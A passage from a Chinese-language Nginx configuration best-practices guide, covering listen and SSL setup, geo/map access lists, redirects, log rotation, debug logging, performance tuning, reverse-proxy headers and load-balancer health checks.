hostname(计算机的主机名)变量也是不当行为的示例(类似于使用主机名标签). 我认为也有必要设置 IP 地址和端口号对,以防止可能难以调试的软错误. 示例: ❌ 错误配置 1234567upstream { server http://x-9s-web01-prod:8080;}server { listen rev-proxy-prod:80; ...} ⭕ 正确配置 1234567upstream { server http://192.168.252.200:8080;}server { listen 10.10.100.20:80; ...} 指令中只配置一个 SSL 此规则使调试和维护更加容易. 请记住,无论 SSL 参数如何,您都可以在同一监听指令(IP 地址)上使用多个 SSL 证书. 我认为要在多个 HTTPS 服务器之间共享一个 IP 地址,您应该使用一个 SSL 配置(例如协议,密码,曲线).这是为了防止错误和配置不匹配. 还请记住有关默认服务器的配置.这很重要,因为如果所有 listen 指令都没有 default_server 参数,则配置中的第一台服务器将是默认服务器.因此,您应该只使用一个 SSL 设置,并且在同一 IP 地址上使用多个名称. 从 Nginx 文档中: 这是由 SSL 协议行为引起的.在浏览器发送 HTTP 请求之前,已建立 SSL 连接,nginx 不知道所请求服务器的名称.因此,它可能仅提供默认服务器的证书. 还要看看这个: TLS 服务器名称指示扩展名(SNI,RFC 6066)是在单个 IP 地址上运行多个 HTTPS 服务器的更通用的解决方案,它允许浏览器在 SSL 握手期间传递请求的服务器名称,因此,服务器将知道哪个用于连接的证书. 另一个好主意是将常用服务器设置移到单独的文件(即 common / example.com.conf)中,然后将其包含在单独的服务器块中. 示例: 12345678910111213141516171819202122232425# 将此配置存储在例如 https.conf 中:listen 192.168.252.10:443 default_server ssl http2;ssl_protocols TLSv1.2;ssl_ciphers "ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384";ssl_prefer_server_ciphers on;ssl_ecdh_curve secp521r1:secp384r1;...# 将此文件包含到server上下文中(为特定的监听指令绑定 domain-a.com):server { include /etc/nginx/https.conf; server_name domain-a.com; ssl_certificate domain-a.com.crt; ssl_certificate_key domain-a.com.key; ...}# 将此文件包含到server上下文中(为特定的监听指令绑定 domain-b.com):server { include /etc/nginx/https.conf; server_name domain-b.com; ssl_certificate domain-b.com.crt; ssl_certificate_key domain-b.com.key; ...} 使用 geo/map 模块替代 allow/deny 使用地图或地理模块(其中之一)可以防止用户滥用您的服务器.这样就可以创建变量,其值取决于客户端 IP 地址. 由于仅在使用变量时才对其进行求值,因此甚至仅存在大量已声明的变量.地理位置变量不会为请求处理带来任何额外费用. 这些指令提供了阻止无效访问者的完美方法,例如使用 ngx_http_geoip_module.例如,geo 模块非常适合有条件地允许或拒绝 IP. geo 模块(注意:不要将此模块误认为是 GeoIP)在加载配置时会构建内存基数树.这与路由中使用的数据结构相同,并且查找速度非常快.如果每个网络有许多唯一值,那么较长的加载时间是由在数组中搜索数据重复项引起的.否则,可能是由于插入基数树引起的. 我将两个模块都用于大型列表.您应该考虑一下,因为此规则要求使用多个 if 条件.我认为,对于简单的列表,毕竟允许/拒绝指令是更好的解决方案.看下面的例子: 12345678910111213141516171819202122# allow/deny:location /internal { include acls/internal.conf; allow 192.168.240.0/24; deny all; ...}# 对比地理位置/映射:location /internal { if ($globals_internal_map_acl) { set $pass 1; } if ($pass = 1) { proxy_pass http://localhost:80; } if ($pass != 1) { return 403; } ...} 示例: 1234567891011121314151617181920212223242526272829# Map模块:map $remote_addr $globals_internal_map_acl { # 状态码: # - 0 = 假 # - 1 = 真 default 0; # 内部网络 10.255.10.0/24 1; 10.255.20.0/24 1; 10.255.30.0/24 1; 192.168.0.0/16 1;}# Geo模块:geo $globals_internal_geo_acl { # 状态码: # - 0 = 假 # - 1 = 真 default 0; # 内部网络 10.255.10.0/24 1; 10.255.20.0/24 1; 10.255.30.0/24 1; 192.168.0.0/16 1;} Map 所有事物 使用地图管理大量重定向,并使用它们来自定义键/值对. map 指令可映射字符串,因此可以表示例如 192.168.144.0/24 作为正则表达式,并继续使用 map 指令. Map 模块提供了一种更优雅的解决方案,用于清晰地解析大量正则表达式,例如 用户代理,引荐来源. 您还可以对地图使用 include 指令,这样配置文件看起来会很漂亮. 示例: 1234567891011121314151617181920212223map $http_user_agent $device_redirect { # 默认值为"desktop" default "desktop"; # 根据不同的用户代理判断是否为移动设备 ~(?i)ip(hone|od) "mobile"; # 匹配iPhone或iPod ~(?i)android.*(mobile|mini) "mobile"; # 匹配Android手机 ~Mobile.+Firefox "mobile"; # 匹配火狐浏览器的移动版 ~^HTC "mobile"; # 匹配HTC手机 ~Fennec "mobile"; # 匹配移动版火狐浏览器Fennec ~IEMobile "mobile"; # 匹配IE的移动浏览器 ~BB10 "mobile"; # 匹配黑莓10系统手机 ~SymbianOS.*AppleWebKit "mobile"; # 匹配Symbian系统手机 ~Opera\\sMobi "mobile"; # 匹配Opera Mobile浏览器}# 在特定上下文中启用(例如,位置)if ($device_redirect = "mobile") { # 如果是移动设备,重定向到移动域名 return 301 https://m.domain.com$request_uri;} 为所有未匹配的路径设置根路径 为请求设置服务器指令内部的全局根路径. 它为未定义的位置指定根路径. 根据官方文档: 如果您在每个位置块中添加一个根路径,则不匹配的位置块将没有根路径.因此,重要的是,根指令必须在您的位置块之前发生,然后根目录指令可以在需要时覆盖该指令. 示例: 1234567891011121314151617181920server { # 设置服务的域名 server_name domain.com; # 设置网站的根目录 root /var/www/domain.com/public; # 定义处理主页的逻辑 location / { # 附加配置省略... } # 定义处理API请求的逻辑 location /api { # 附加配置省略... } # 定义处理静态资源的逻辑 location /static { # 覆盖根目录设置,特别为静态文件设置根目录 root /var/www/domain.com/static; # 附加配置省略... }} 使用 return 指令进行 URL 重定向(301、302) 这是一个简单的规则. 您应该使用服务器块和 return 语句,因为它们比评估 RegEx 更快. 因为 Nginx 停止处理请求(而不必处理正则表达式),所以它更加简单快捷. 示例 12345server { server_name www.example.com; ## return 301 https://$host$request_uri; return 301 $scheme://www.example.com$request_uri;} 配置日志轮换策略 日志文件为您提供有关服务器活动和性能以及可能出现的任何问题的反馈. 它们记录了有关请求和 Nginx 内部的详细信息. 不幸的是,日志使用了更多的磁盘空间. 您应该定义一个过程,该过程将定期存档当前日志文件并启动一个新日志文件,重命名并有选择地压缩当前日志文件,删除旧日志文件,并强制日志记录系统开始使用新日志文件. 我认为最好的工具是 logrotate. 如果我想自动管理日志,也想睡个好觉,那么我会在任何地方使用它. 这是一个旋转日志的简单程序,使用 crontab 可以工作. 它是计划的工作,而不是守护程序,因此无需重新加载其配置. 示例: 手动旋转 1234# 手动检查(所有日志文件):logrotate -dv /etc/logrotate.conf# 手动检查并强制轮转(特定的日志文件):logrotate -dv --force /etc/logrotate.d/nginx 自动旋转 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667cat > /etc/logrotate.d/nginx << __EOF__# 配置nginx日志轮转/var/log/nginx/*.log { daily # 每天执行日志轮转 missingok # 如果日志丢失也不报错 rotate 14 # 保存14份旧日志 compress # 对旧日志进行压缩 delaycompress # 延迟压缩 notifempty # 如果日志为空,则不轮转 create 0640 nginx nginx # 轮转后创建新日志文件,指定权限和所有者 sharedscripts # 脚本在所有日志轮转后运行一次 prerotate # 轮转前脚本 if [ -d /etc/logrotate.d/httpd-prerotate ]; then \\ run-parts /etc/logrotate.d/httpd-prerotate; \\ fi \\ endscript postrotate # 轮转后脚本 # 以下为注释的命令,用于发送信号给nginx主进程,但实际使用下面的命令来平滑重载nginx # test ! -f /var/run/nginx.pid || kill -USR1 `cat /var/run/nginx.pid` invoke-rc.d nginx reload >/dev/null 2>&1 # 重载nginx配置,输出重定向到/dev/null endscript}# 针对localhost的日志文件同上配置/var/log/nginx/localhost/*.log { daily missingok rotate 14 compress delaycompress notifempty create 0640 nginx nginx sharedscripts prerotate if [ -d /etc/logrotate.d/httpd-prerotate ]; then \\ run-parts /etc/logrotate.d/httpd-prerotate; \\ fi \\ endscript postrotate # 这是注释掉的命令,旨在向nginx主进程发送信号,但实际使用以下命令进行平滑重启 # test ! -f /var/run/nginx.pid || kill -USR1 `cat /var/run/nginx.pid` invoke-rc.d nginx reload >/dev/null 2>&1 # 重载nginx配置,输出重定向到/dev/null endscript}# 配置针对特定域名example.com的日志文件轮转规则,与前面的配置基本一致/var/log/nginx/domains/example.com/*.log { daily missingok rotate 14 compress delaycompress notifempty create 0640 nginx nginx sharedscripts prerotate if [ -d /etc/logrotate.d/httpd-prerotate ]; then \\ run-parts /etc/logrotate.d/httpd-prerotate; \\ fi \\ endscript postrotate # 同上,注释掉的命令可以发送信号给nginx,但推荐使用下面的命令 # test ! -f /var/run/nginx.pid || kill -USR1 `cat /var/run/nginx.pid` invoke-rc.d nginx reload >/dev/null 2>&1 # 重载nginx配置,输出重定向到/dev/null endscript}__EOF__ 不要重复索引指令,只能在 http 块中使用 一次使用 index 指令. 它只需要在您的 http 上下文中发生,并将在下面继承. 我认为我们在复制相同规则时应格外小心. 但是,当然,规则的重复有时是可以的,或者不一定是大麻烦. 示例: ❌ 错误配置 1234567891011121314151617181920212223http { ... index index.php index.htm index.html; server { server_name www.example.com; location / { index index.php index.html index.$geo.html; ... } } server { server_name www.example.com; location / { index index.php index.htm index.html; ... } location /data { index index.php; ... } ...} ⭕ 正确配置 12345678910111213141516171819http { ... index index.php index.htm index.html index.$geo.html; server { server_name www.example.com; location / { ... } } server { server_name www.example.com; location / { ... } location /data { ... } ...} Debugging使用自定义日志格式 您可以在 Nginx 配置中作为变量访问的任何内容都可以记录,包括非标准的 HTTP 标头等.因此,这是一种针对特定情况创建自己的日志格式的简单方法. 这对于调试特定的 location 指令非常有帮助. 示例: 1234567891011121314151617181920212223# 默认的主日志格式来自Nginx官方仓库:log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"';# 扩展的主日志格式:log_format main-level-0 '$remote_addr - $remote_user [$time_local] ' '"$request_method $scheme://$host$request_uri ' '$server_protocol" $status $body_bytes_sent ' '"$http_referer" "$http_user_agent" ' '$request_time';# 调试日志格式:log_format debug-level-0 '$remote_addr - $remote_user [$time_local] ' '"$request_method $scheme://$host$request_uri ' '$server_protocol" $status $body_bytes_sent ' '$request_id $pid $msec $request_time ' '$upstream_connect_time $upstream_header_time ' '$upstream_response_time "$request_filename" ' '$request_completion'; 使用调试模式来跟踪意外行为 通常,error_log 指令是在 main 中指定的,但是也可以在 server 或 location 块中指定,全局设置将被覆盖,并且这个 error_log 指令将设置其自己的日志文件路径和日志记录级别. 如果要记录 ngx_http_rewrite_module (at the notice level) ,应该在 http、server 或 location 块中开启 rewrite_log on;. 注意: 永远不要将调试日志记录留在生产环境中的文件上 不要忘记在流量非常高的站点上恢复 error_log 的调试级别 必须使用日志回滚政策 示例: 将 debug 信息写入文件 12345# 在特定上下文中开启,例如:# - global - 对全局日志进行记录# - http - 对http及其所有位置的日志进行记录# - location - 对特定位置的日志进行记录error_log /var/log/nginx/error-debug.log debug; 将 debug 信息写入内存 1error_log memory:32m debug; IP 地址/范围的调试日志: 1234events { debug_connection 192.168.252.15/32; debug_connection 10.10.10.0/24;} 为不同服务器设置不同 Debug 配置 1234567891011error_log /var/log/nginx/debug.log debug;...http { server { ## To enable debugging: error_log /var/log/nginx/domain.com/domain.com-debug.log debug; ## To disable debugging: error_log /var/log/nginx/domain.com/domain.com-debug.log; ... }} 核心转储 核心转储基本上是程序崩溃时内存的快照. Nginx 是一个非常稳定的守护程序,但是有时可能会发生正在运行的 Nginx 进程独特终止的情况. 如果要保存内存转储,它可以确保应启用两个重要的指令,但是,为了正确处理内存转储,需要做一些事情. 有关它的完整信息,请参见转储进程的内存(来自本手册). 当您的 Nginx 实例收到意外错误或崩溃时,应始终启用核心转储. 示例: 123worker_rlimit_core 500m;worker_rlimit_nofile 65535;working_directory /var/dump/nginx; 性能工作进程数 worker_processes - 用于设置 Nginx 的工作进程数. worker_processes 的默认值为 1. 设置 worker_processes 的安全做法是将其设为 auto,则启动 Nginx 时会自动分配工作进程数.当然,也可以显示的设置一个工作进程数值. 一般一个进程足够了,你可以把连接数设得很大.(worker_processes: 1,worker_connections: 10,000)如果有 SSL、gzip 这些比较消耗 CPU 的工作,而且是多核 CPU 的话,可以设为和 CPU 的数量一样.或者要处理很多很多的小文件,而且文件总大小比内存大很多的时候,也可以把进程数增加,以充分利用 IO 带宽(主要似乎是 IO 操作有 block) 示例: 1234## The safest way:worker_processes auto;## VCPU = 4 , expr $(nproc --all) - 1worker_processes 3; 最大连接数 worker_connections - 单个 Nginx 工作进程允许同时建立的外部连接的数量.数字越大,能同时处理的连接越多. worker_connections 不是随便设置的,而是与两个指标有重要关联: 内存 每个连接数分别对应一个 read_event、一个 write_event 事件,一个连接数大概占用 232 字节,2 个事件总占用 96 字节,那么一个连接总共占用 328 字节,通过数学公式可以算出 100000 个连接数大概会占用 31M = 100000 * 328 / 1024 / 1024,当然这只是 nginx 启动时,worker_connections 连接数所占用的 nginx. 操作系统级别”进程最大可打开文件数”. 进程最大可打开文件数受限于操作系统,可通过 ulimit -n 命令查询,以前是 1024,现在是 65535. nginx 提供了 worker_rlimit_nofile 指令,这是除了 ulimit 的一种设置可用的描述符的方式. 该指令与使用 ulimit 对用户的设置是同样的效果.此指令的值将覆盖 ulimit 的值,如:worker_rlimit_nofile 20960; 设置 ulimits:ulimit -SHn 65535 使用 HTTP/2 HTTP / 2 将使我们的应用程序更快,更简单且更可靠. HTTP / 2 的主要目标是通过启用完整的请求和响应多路复用来减少延迟,通过有效压缩 HTTP 标头字段来最小化协议开销,并增加对请求优先级和服务器推送的支持. HTTP / 2 与 HTTP / 1.1 向后兼容,因此有可能完全忽略它,并且一切都会像以前一样继续工作,因为如果不支持 HTTP / 2 的客户端永远不会向服务器请求 HTTP / 2 通讯升级:它们之间的通讯将完全是 HTTP1 / 1. 请注意,HTTP / 2 在单个 TCP 连接中多路复用许多请求. 通常,当使用 HTTP / 2 时,将与服务器建立单个 TCP 连接. 您还应该包括 ssl 参数,这是必需的,因为浏览器不支持未经加密的 HTTP / 2. HTTP / 2 对旧的和不安全的密码有一个非常大的黑名单,因此您应该避免使用它们. 示例: 123server { listen 10.240.20.2:443 ssl http2; ... 维护 SSL 会话 客户端每次发出请求时都进行新的 SSL 握手的需求.默认情况下,内置会话缓存并不是最佳选择,因为它只能由一个工作进程使用,并且可能导致内存碎片,最好使用共享缓存. 使用 ssl_session_cache 时,通过 SSL 保持连接的性能可能会大大提高.10M 的值是一个很好的起点(1MB 共享缓存可以容纳大约 4,000 个会话).通过共享,所有工作进程之间共享一个缓存(可以在多个虚拟服务器中使用相同名称的缓存). 但是,大多数服务器不清除会话或票证密钥,因此增加了服务器受到损害将泄漏先前(和将来)连接中的数据的风险. 示例: 1234ssl_session_cache shared:NGX_SSL_CACHE:10m;ssl_session_timeout 12h;ssl_session_tickets off;ssl_buffer_size 1400; 尽可能在 server_name 指令中使用确切名称 确切名称,以星号开头的通配符名称和以星号结尾的通配符名称存储在绑定到侦听端口的三个哈希表中. 首先搜索确切名称哈希表. 如果未找到名称,则搜索具有以星号开头的通配符名称的哈希表. 如果未在此处找到名称,则搜索带有通配符名称以星号结尾的哈希表. 搜索通配符名称哈希表比搜索精确名称哈希表要慢,因为名称是按域部分搜索的. 正则表达式是按顺序测试的,因此是最慢的方法,并且不可缩放.由于这些原因,最好在可能的地方使用确切的名称. 示例: 123456789101112# 显式地定义它们更为高效:server { listen 192.168.252.10:80; server_name example.org www.example.org *.example.org; ...}# 与使用简化形式相比:server { listen 192.168.252.10:80; server_name .example.org; ...} 避免使用 if 检查 server_name 当 Nginx 收到请求时,无论请求的是哪个子域,无论是 www.example.com 还是普通的 example.com,如果始终对 if 指令进行评估. 由于您是在请求 Nginx 检查每个请求的 Host 标头. 效率极低. 而是使用两个服务器指令,如下面的示例. 这种方法降低了 Nginx 的处理要求. 示例: ❌ 错误配置 12345678server { server_name domain.com www.domain.com; if ($host = www.domain.com) { return 301 https://domain.com$request_uri; } server_name domain.com; ...} ⭕ 正确配置 12345678910111213141516server { # 服务器域名 server_name www.domain.com; # 重定向所有请求到主域名 return 301 $scheme://domain.com$request_uri; ## 如果你强制你的网站流量使用HTTPS: ## 301 https://domain.com$request_uri; ...}server { # 监听端口和IP listen 192.168.252.10:80; # 主服务器域名 server_name domain.com; ...} 使用 $request_uri 来避免使用正则表达式 使用内置变量 $request_uri,我们可以完全避免进行任何捕获或匹配.默认情况下,正则表达式的代价较高,并且会降低性能. 此规则用于解决将 URL 不变地传递到新主机,确保仅通过现有 URI 进行返回的效率更高. 示例: ❌ 错误配置 12345## 1)rewrite ^/(.*)$ https://example.com/$1 permanent;## 2)rewrite ^ https://example.com$request_uri? permanent; ⭕ 正确配置 1return 301 https://example.com$request_uri; 使用 try_files 指令确认文件是否存在 try_files绝对是一个非常有用的指令.你可以使用try_files指令按照指定的顺序检查文件是否存在.你应该使用try_files而不是if指令.使用try_files完成这个操作绝对比使用if更好,因为if指令非常低效,它会在每个请求时都被评估.使用try_files的优势在于,只需一个命令行为就会立即切换.我认为代码的可读性也更强.try_files允许你: 从预定义列表中检查文件是否存在 从指定目录检查文件是否存在 如果没有找到任何文件,使用内部重定向 示例: ❌ 错误配置 123456789 ... root /var/www/example.com; location /images { if (-f $request_filename) { expires 30d; break; } ...} ⭕ 正确配置 123456 ... root /var/www/example.com; location /images { try_files $uri =404; ...} 使用 return 代替 rewrite 来做重定向 您应该使用服务器块和 return 语句,因为它们比通过位置块评估 RegEx 更简单,更快捷. 该指令停止处理,并将指定的代码返回给客户端. 示例: ❌ 错误配置 123456server { ... if ($host = api.domain.com) { rewrite ^/(.*)$ http://example.com/$1 permanent; } ... ⭕ 正确配置 12345678910111213server { ... # 如果请求的主机名是api.domain.com,则返回403禁止访问 if ($host = api.domain.com) { return 403; # 或者其他例子: # 如果请求的主机名是api.domain.com,则重定向到https://domain.com$request_uri # return 301 https://domain.com$request_uri; # 或者使用当前的方案和主机名进行重定向 # return 301 $scheme://$host$request_uri; } ...} 开启 PCRE JIT 来加速正则表达式处理 允许使用 JIT 的正则表达式来加速他们的处理. 通过与 PCRE 库编译 Nginx 的,你可以用你的 location 块进行复杂的操作和使用功能强大的 return 和 rewrite. PCRE JIT 可以显著加快正则表达式的处理. Nginx 的与 pcre_jit 比没有更快的幅度. 如果你试图在使用 pcre_jit;没有可用的 JIT,或者 Nginx 的与现有 JIT,但当前加载 PCRE 库编译不支持 JIT,将配置解析时发出警告. 当您编译使用 NGNIX 配置 PCRE 库时,才需要–with-PCRE-JIT 时(./configure –with-PCRE =).当使用系统 PCRE 库 JIT 是否被支持依赖于库是如何被编译. 从 Nginx 的文档: JIT 正在从与–enable-JIT 配置参数内置 8.20 版本开始 PCRE 库提供.当 PCRE 库与 nginx 的内置(–with-PCRE =)时,JIT 支持经由–with-PCRE-JIT 配置参数使能. 示例: 12## In global context:pcre_jit on; 进行精确的位置匹配以加快选择过程 精确的位置匹配通常用于通过立即结束算法的执行来加快选择过程. 示例: 1234567891011121314# 仅匹配查询 / 并停止搜索:location = / { ...}# 仅匹配查询 /v9 并停止搜索:location = /v9 { ...}...# 匹配任何查询,因为所有查询都从 / 开始,# 但是正则表达式和任何更长的常规块将首先被匹配:location / { ...} 使用 limit_conn 改善对下载速度的限制 Nginx provides two directives to limiting download speed: Nginx 提供了两个指令来限制下载速度: limit_rate_after - 设置 limit_rate 指令生效之前传输的数据量 limit_rate - 允许您限制单个客户端连接的传输速率 此解决方案限制了每个连接的 Nginx 下载速度,因此,如果一个用户打开多个(例如) 视频文件,则可以下载 X * 连接到视频文件的次数 . 示例: 12345678910111213# 创建连接数限制区域:limit_conn_zone $binary_remote_addr zone=conn_for_remote_addr:1m;# 添加规则以限制下载速度:limit_rate_after 1m; # 前 1 兆字节以最大速度运行limit_rate 250k; # 之后设置速率限制为每秒 250 千字节# 启用排队:location /videos { # 单一客户端的最大数据量:10 兆字节(limit_rate_after * 10) limit_conn conn_for_remote_addr 10; ...} 反向代理使用与后端协议兼容的 pass 指令 所有 proxy_* 指令都与使用特定后端协议的后端服务器有关.您应该仅对在后端层工作的 HTTP 服务器使用 proxy_pass(在引用 HTTP 后端前设置 http:// 协议),对于非 HTTP 后端服务器(如 uWSGI 或 FastCGI)则使用其他的 *_pass 指令.uwsgi_pass、fastcgi_pass 或 scgi_pass 等指令专为非 HTTP 应用程序设计,您应该使用它们而不是 proxy_pass(非 HTTP 通信).例如:uwsgi_pass 使用 uwsgi 协议与服务器通信.proxy_pass 使用普通 HTTP 与 uWSGI 服务器通信.uWSGI 文档声称 uwsgi 协议更好、更快,并且可以利用 uWSGI 的所有特殊功能.您可以发送信息到 uWSGI,告知您正在发送何种类型的数据以及应调用哪个 uWSGI 插件来生成响应.使用 http(proxy_pass)就无法做到这一点. 示例: ❌ 错误配置 1234567server { location /app/ { # 对于这个,你应该使用 uwsgi_pass 指令. uwsgi_pass 192.168.154.102:4000; # 后端层:uWSGI Python 应用. } ...} ⭕ 正确配置 123456789101112131415server { location /app/ { # 后端层:OpenResty 作为应用的前端. proxy_pass http://192.168.154.102:80; } location /app/v3 { # 后端层:uWSGI Python 应用. uwsgi_pass 192.168.154.102:8080; } location /app/v4 { # 后端层:php-fpm 应用. fastcgi_pass 192.168.154.102:8081; } ...} 小心 proxy_pass 指令中的斜杠 注意尾随斜杠,因为 Nginx 会逐字替换部分,并且您可能会得到一些奇怪的 URL. 如果 proxy_pass 不带 URI 使用(即 server:port 之后没有路径),Nginx 会将原始请求中的 URI 与所有双斜杠 ../ 完全一样. proxy_pass 中的 URI 就像别名指令一样,意味着 Nginx 将用 proxy_pass 指令中的 URI 替换与位置前缀匹配的部分(我故意将其与位置前缀相同),因此 URI 将与请求的相同,但被规范化(没有小写斜杠和其他所有内容) 员工). 示例: 123456789location = /a { proxy_pass http://127.0.0.1:8080/a; ...}location ^~ /a/ { proxy_pass http://127.0.0.1:8080/a/; ...} 仅使用 $host 变量设置和传递 Host 头 几乎应该始终将 $host 用作传入的主机变量,因为无论用户代理如何行为,它都是保证具有某种意义的唯一变量,除非您特别需要其他变量之一的语义. 变量 $host 是请求行或http头中的主机名. 变量 $server_name 是我们当前所在的服务器块的名称. 区别: $host 包含”按此优先顺序:请求行中的主机名,或”主机”请求标头字段中的主机名,或与请求匹配的服务器名” 如果请求中包含HTTP主机标头字段,则 $http_host 包含该内容(始终等于HTTP_HOST请求标头) $server_name 包含了处理请求的虚拟主机的 server_name,正如它在 Nginx 配置中定义的那样.如果一个服务器有多个服务器名,这个变量中只会有第一个. $http_host 比 $host:$server_port 更好,因为它使用的是 URL 中出现的端口号,而不是 Nginx 监听的端口号,后者是 $server_port 使用的端口. 示例: 1proxy_set_header Host $host; 正确设置 X-Forwarded-For 头的值Rationale ​\t鉴于最新的httpoxy漏洞,确实需要一个完整的示例来正确使用 HTTP_X_FORWARDED_FOR. ​\t简而言之,负载均衡器设置头信息中的’最新’部分.我认为,出于安全原因,管理员必须手动指定代理服务器. ​\tX-Forwarded-For 是一个自定义的HTTP头部,它携带了客户端的原始IP地址,这样端点的应用程序就能知道这个地址是什么. ​\t否则,它只会看到代理的IP地址,这可能会导致一些应用程序出现问题 ​\tX-Forwarded-For 取决于代理服务器,它应该传递连接到它的客户端的IP地址. ​\t当连接通过一系列代理服务器时,X-Forwarded-For 可以提供一个以逗号分隔的IP地址列表,其中第一个地址是最远的下游(即用户). ​\t正因为如此,位于代理服务器后面的服务器需要知道哪些代理服务器是可信的. ​\t使用的代理可以将此头设置为其希望的任何值,因此您不能信任它的值.尽管大多数代理确实设置了正确的值. ​\t这个头部主要被缓存代理使用,在这些情况下,您控制着代理,因此可以验证它提供给您的信息是否正确. ​\t在所有其他情况下,它的值应被视为不可信的. ​\t一些系统也使用 X-Forwarded-For 来执行访问控制.许多应用程序依赖于知道客户端的实际IP地址来帮助防止欺诈和启用访问权限. ​\tX-Forwarded-For 头部字段的值可以在客户端设置 - 这也可以被称为 X-Forwarded-For 伪造.然而,当通过代理服务器发出web请求时,代理服务器通过附加客户端(用户)的IP地址修改 X-Forwarded-For 字段.这将在 X-Forwarded-For 字段中产生2个逗号分隔的IP地址. ​\t反向代理不是源IP地址透明的.当你需要后端服务器的日志中的客户端源IP地址是正确的时,这是一个问题.我认为解决这个问题的最佳方案是配置负载均衡器添加/修改带有客户端源IP的 X-Forwarded-For 头,并以正确的形式转发给后端. ​\t不幸的是,在代理端我们无法解决这个问题(所有解决方案都可能被伪造),重要的是这个头被应用服务器正确解释.这样做确保了应用程序或下游服务拥有准确的信息来进行决策,包括那些关于访问和授权的决策. 为了防止这种情况,我们必须默认不信任那个头部,并从我们的服务器向后追踪IP地址: ​\t首先我们需要确保 REMOTE_ADDR 是我们信任的,有能力在 X-Forwarded-For 的末尾追加了一个正确的值.如果是这样,那么我们需要确保我们信任 X-Forwarded-For 中的IP,信任它在自己之前追加了正确的IP,依此类推.直到最后,我们得到一个我们不信任的IP,在那一点上我们必须假设那是我们用户的IP.- 这个观点来自Xiao Yu在代理和IP欺骗中的观点. Example123456# 它存在的整个目的是为了执行追加行为:proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;# 上面的设置等同于这个:proxy_set_header X-Forwarded-For $http_x_forwarded_for,$remote_addr;# 下面的设置也和上面的等同,但在这个例子中我们使用了 http_realip_module:proxy_set_header X-Forwarded-For "$http_x_forwarded_for, $realip_remote_addr"; 不要在反向代理后面使用带有 $scheme 的 X-Forwarded-Proto 反向代理可以设置 X-Forwarded-Proto,以告知应用程序它是HTTPS还是HTTP甚至是无效名称.schema 变量仅在需要的时候才会被评估(仅用于当前请求). 如果设置了 $schema 变量且沿途遇上多个代理,则会导致变形.例如:如果客户端转到https://example.com,则代理将方案值存储为HTTPS. 如果代理与下一级代理之间的通信是通过HTTP进行的,则后端会将方案视为HTTP. 示例: 12345678# 1) 客户端 <-> 代理 <-> 后端proxy_set_header X-Forwarded-Proto $scheme;# 2) 客户端 <-> 代理 <-> 代理 <-> 后端# 在第二层代理中设置X-Forwarded-Proto头为https时可以使用以下注释掉的指令# proxy_set_header X-Forwarded-Proto https;# 但是,为了保持与第一层代理接收到的scheme一致,我们使用下面的指令proxy_set_header X-Forwarded-Proto $proxy_x_forwarded_proto; 始终将 Host,X-Real-IP 和 X-Forwarded 标头传递给后端Rationale ​\t在使用Nginx作为反向代理时,你可能希望将远程客户端的一些信息传递给你的后端Web服务器.我认为这是一个好做法,因为它能让你更好地控制转发的头部信息. ​\t这对于位于代理后面的服务器来说非常重要,因为它允许正确地解释客户端.代理是这些服务器的”眼睛”,它们不应允许对现实的扭曲感知.如果并非所有请求都通过代理,那么直接从客户端收到的请求可能包含例如不准确的头部中的IP地址. ​\tX-Forwarded头部对于统计或过滤也很重要.另一个例子可能是你的应用中的访问控制规则,因为如果没有这些头部,过滤机制可能无法正常工作. ​\t如果你使用像Apache这样的前端服务作为你的API的前端,你将需要这些头部来理解连接API时使用的IP或主机名. ​\t如果你使用https协议(现在已经成为标准),转发这些头部也很重要. ​\t然而,我不会完全依赖于所有X-Forwarded头部的存在,或者他们数据的有效性. Example12345678910111213141516171819202122232425262728293031323334353637location / { proxy_pass http://bk_upstream_01; # 以下头部也应传递给后端: # - Host - 来自请求行的主机名,或来自Host请求头字段的主机名,或匹配请求的服务器名 # proxy_set_header Host $host:$server_port; # proxy_set_header Host $http_host; proxy_set_header Host $host; # - X-Real-IP - 将访问者的实际远程IP地址转发给被代理的服务器 proxy_set_header X-Real-IP $remote_addr; # X-Forwarded头部堆栈: # - X-Forwarded-For - 标记通过代理连接到服务器的客户端的原始IP # proxy_set_header X-Forwarded-For $remote_addr; # proxy_set_header X-Forwarded-For $http_x_forwarded_for,$remote_addr; # proxy_set_header X-Forwarded-For "$http_x_forwarded_for, $realip_remote_addr"; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # - X-Forwarded-Host - 标记通过代理连接到服务器的客户端的原始主机 # proxy_set_header X-Forwarded-Host $host:443; proxy_set_header X-Forwarded-Host $host:$server_port; # - X-Forwarded-Server - 代理服务器的主机名 proxy_set_header X-Forwarded-Server $host; # - X-Forwarded-Port - 定义客户端请求的原始端口 # proxy_set_header X-Forwarded-Port 443; proxy_set_header X-Forwarded-Port $server_port; # - X-Forwarded-Proto - 标记通过代理连接到服务器的客户端的协议 # proxy_set_header X-Forwarded-Proto https; # proxy_set_header X-Forwarded-Proto $proxy_x_forwarded_proto; proxy_set_header X-Forwarded-Proto $scheme;} prefix 使用不带 X- 前缀的自定义头Rationale ​\t互联网工程任务组(IETF)发布了一个新的RFC(RFC-6648),建议弃用X-前缀. ​\tX-前缀在头部名称前通常表示它是实验性的、非标准的或特定于供应商的.一旦它成为HTTP的标准部分,就会失去这个前缀. ​\t如果有可能将新的自定义头部标准化,请使用一个未被使用且有意义的头部名称. ​\t使用带有X-前缀的自定义头部并不禁止,但是不鼓励.换句话说,你可以继续使用带有X-前缀的头部,但不推荐这样做,并且你不应该将它们记录为公共标准. Example不推荐的配置: 1add_header X-Backend-Server $hostname; 推荐的配置: 1add_header Backend-Server $hostname; 负载均衡负载平衡是一种有用的机制,可将传入的流量分布在几个有能力的服务器之间. 健康检查 健康监控对于所有类型的负载平衡都非常重要,主要是为了业务连续性. 被动检查会按照客户端的请求监视通过 Nginx 的连接失败或超时. 默认情况下启用此功能,但是此处提到的参数允许您调整其行为. 默认值为:max_fails = 1 和 fail_timeout = 10s. 示例: 1234upstream backend { server bk01_node:80 max_fails=3 fail_timeout=5s; server bk02_node:80 max_fails=3 fail_timeout=5s;} down 参数 有时我们需要关闭后端,例如 在维护时. 我认为良好的解决方案是使用 down 